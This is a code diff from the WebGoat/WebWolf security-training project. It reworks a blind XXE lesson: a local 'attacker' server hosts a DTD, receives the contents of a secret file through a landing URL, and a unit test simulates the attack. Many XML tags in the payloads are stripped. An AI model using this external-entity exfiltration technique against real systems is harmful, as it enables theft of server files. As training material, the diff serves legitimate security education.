lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
- boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
- if (solved) {
- logFile.delete();
- return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
- } else {
- return trackProgress(failed().output(error).build());
+ return trackProgress(failed().output(e.toString()).build());
}
+ return trackProgress(failed().build());
}
+/**
+
+
+%remote;
+]>
+ test&send;
+**/
/**
* Solution:
*
@@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
*
*
*
- * ">
+ * ">
* %all;
*
*
* This will be reduced to:
*
*
- *
+ *
*
*
* Wire it all up in the xml send to the server:
@@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
*
*
*
+ *
* %remote;
* ]>
*
diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
index 0d7e110e4..c8114bc1c 100644
--- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
+++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
@@ -1,39 +1,30 @@
+
== Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
-Let's start with an example, in this case we reference a external DTD which we control on our own server.
+Let's start with an example, in this case we reference an external DTD which we control on our own server.
-Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
-
-[source]
-----
-curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
-
-will result in:
-
-GET curl/7.45.0 HelloWorld
-----
-
-at the server side.
+As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
+use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
How do we use this endpoint to verify whether we can perform XXE?
-In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
+We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
[source]
----
-
+
----
-Now submit the form and change the xml to:
+Now submit the form change the xml using to:
[source]
----
+
%remote;
]>
@@ -41,16 +32,24 @@ Now submit the form and change the xml to:
----
-Now if we check our server log we will see:
+Now in WebWolf browse to 'Incoming requests' and you will see:
[source]
----
-GET Java/1.8.0_101 HelloWorld
+{
+ "method" : "GET",
+ "path" : "/ping",
+ "headers" : {
+ "request" : {
+ "user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
+ },
+ },
+ "parameters" : {
+ "test" : [ "HelloWorld" ],
+ },
+ "timeTaken" : "1"
+}
----
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
we are basically able to reach the same effect as we did in the beginning with the curl command.
-
-[NOTE]
-In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
-of course be a host fully under the attackers control.
\ No newline at end of file
diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
index 005df5198..e7adfae9b 100644
--- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
+++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
@@ -1,10 +1,23 @@
== Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
-which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
-For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
-If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
+which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
+DTD.
-Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
-You can login to the Docker container as follows: `docker exec -i -t <> /bin/bash`
\ No newline at end of file
+|===
+|OS |Location
+
+|Linux
+|`/home/USER/.webgoat/XXE/secret.txt`
+
+|Windows
+|`c:/Users/USER/.webgoat/XXE/secret.txt`
+
+|Docker
+|`/home/webgoat/.webgoat/XXE/secret.txt`
+|===
+
+Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
+(NOTE: this endpoint is under your full control)
+Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
\ No newline at end of file
diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
index 9f31bf8eb..7d00a692d 100644
--- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
+++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
@@ -1,8 +1,11 @@
package org.owasp.webgoat.plugin;
-import com.google.common.io.Files;
+import com.github.tomakehurst.wiremock.client.WireMock;
+import com.github.tomakehurst.wiremock.junit.WireMockRule;
+import com.github.tomakehurst.wiremock.verification.LoggedRequest;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
@@ -14,7 +17,9 @@ import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
+import java.util.List;
+import static com.github.tomakehurst.wiremock.client.WireMock.*;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
@@ -32,13 +37,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
+ @Rule
+ public WireMockRule webwolfServer = new WireMockRule(8081);
+
@Before
public void setup() throws Exception {
XXE xxe = new XXE();
when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
- File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
- if (logFile.exists()) logFile.delete();
when(webSession.getUserName()).thenReturn("unit-test");
}
@@ -65,26 +71,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Test
public void solve() throws Exception {
- File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
+ File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
String dtd = "\n" +
- "\n" +
- "\">\n" +
+ "\n" +
+ "\">\n" +
"%all;";
- Files.write(dtd.getBytes(), file);
- String xml = "\n" +
- "\n" +
- "%remote;\n" +
- "]>\n" +
- "\n" +
- " test&send;\n" +
- "";
+ webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
+ .willReturn(aResponse()
+ .withStatus(200)
+ .withBody(dtd)));
+ webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
+ String xml = "" +
+ "" +
+ "%remote;" +
+ "]>" +
+ "test&send;";
+
+ //Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
- .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
- .andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
+ .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
+
+ List requests = findAll(getRequestedFor(urlMatching("/landing.*")));
+ assertThat(requests.size()).isEqualTo(1);
+ String text = requests.get(0).getQueryParams().get("text").firstValue();
+
+ //Call with retrieved text
+ mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
+ .content("" + text + ""))
+ .andExpect(status().isOk())
+ .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
}
}
\ No newline at end of file
diff --git a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
index 2ff8120b2..313688836 100644
--- a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
+++ b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
@@ -3,6 +3,7 @@ package org.owasp.webwolf;
import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.requests.WebWolfTraceRepository;
+import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.actuate.trace.TraceRepository;
@@ -25,8 +26,8 @@ import javax.jms.ConnectionFactory;
public class WebWolf extends SpringBootServletInitializer {
@Bean
- public TraceRepository traceRepository(WebGoatUserToCookieRepository repository) {
- return new WebWolfTraceRepository(repository);
+ public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
+ return new WebWolfTraceRepository(repository, userRepository);
}
@Override
diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java b/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java
new file mode 100644
index 000000000..e24fb40c9
--- /dev/null
+++ b/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java
@@ -0,0 +1,24 @@
+package org.owasp.webwolf.requests;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.http.HttpStatus;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseStatus;
+
+import javax.servlet.http.HttpServletRequest;
+
+@Controller
+@Slf4j
+@RequestMapping("/landing/**")
+public class LandingPage {
+
+ @RequestMapping(method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
+ @ResponseStatus(HttpStatus.OK)
+ public void ok(HttpServletRequest request) {
+ log.trace("Incoming request for: {}", request.getRequestURL());
+ }
+
+}
diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
index 22c8e6d61..e63bbd9f5 100644
--- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
+++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
@@ -6,6 +6,7 @@ import com.google.common.cache.LoadingCache;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
+import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUser;
import org.owasp.webwolf.user.WebGoatUserCookie;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
@@ -18,6 +19,7 @@ import java.net.HttpCookie;
import java.util.*;
import java.util.concurrent.ConcurrentLinkedDeque;
+import static java.util.Optional.empty;
import static java.util.Optional.of;
/**
@@ -38,9 +40,11 @@ public class WebWolfTraceRepository implements TraceRepository {
}
});
private final WebGoatUserToCookieRepository repository;
+ private final UserRepository userRepository;
- public WebWolfTraceRepository(WebGoatUserToCookieRepository repository) {
+ public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
this.repository = repository;
+ this.userRepository = userRepository;
}
@Override
@@ -58,18 +62,27 @@ public class WebWolfTraceRepository implements TraceRepository {
@Override
public void add(Map map) {
Optional host = getFromHeaders("host", map);
- Optional referer = getFromHeaders("referer", map);
- if (host.isPresent() && referer.orElse("").contains("WebGoat")) {
+ String path = (String) map.getOrDefault("path", "");
+ if (host.isPresent() && path.contains("/landing/")) {
Optional cookie = getFromHeaders("cookie", map);
- cookie.ifPresent(c -> {
- Optional user = findUserBasedOnCookie(c);
- user.ifPresent(u -> {
- ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u);
- traces.addFirst(new Trace(new Date(), map));
- cookieTraces.put(u, traces);
- });
-
+ Optional user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
+ user.ifPresent(u -> {
+ ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u);
+ traces.addFirst(new Trace(new Date(), map));
+ cookieTraces.put(u, traces);
});
+ //No user found based on cookie and logged in user, so add the trace to all users
+ //In case of XXE no cookie will be send we cannot retrieve who is logged in.
+ //Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
+ //fetch is unique
+ if (!user.isPresent()) {
+ List users = this.userRepository.findAll();
+ users.forEach(u -> {
+ ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u.getUsername());
+ traces.addFirst(new Trace(new Date(), map));
+ cookieTraces.put(u.getUsername(), traces);
+ });
+ }
}
}
@@ -80,13 +93,16 @@ public class WebWolfTraceRepository implements TraceRepository {
Optional userToCookie = repository.findByCookie(cookie.getValue());
Optional user = userToCookie.map(u -> u.getUsername());
- if (!user.isPresent()) {
- //User is maybe logged in to WebWolf use this user
- Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
- if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
- WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
- user = of(wg.getUsername());
- }
+ return user;
+ }
+
+ private Optional getLoggedInUser() {
+ Optional user = empty();
+ //User is maybe logged in to WebWolf use this user
+ Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+ if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
+ WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
+ user = of(wg.getUsername());
}
return user;
}
diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties
index 89bdc44a0..9d1dc899b 100644
--- a/webwolf/src/main/resources/application.properties
+++ b/webwolf/src/main/resources/application.properties
@@ -1,6 +1,6 @@
server.error.include-stacktrace=always
server.error.path=/error.html
-server.session.timeout=600
+server.session.timeout=6000
#server.contextPath=/WebWolf
server.port=8081
server.session.cookie.name = WEBWOLFSESSION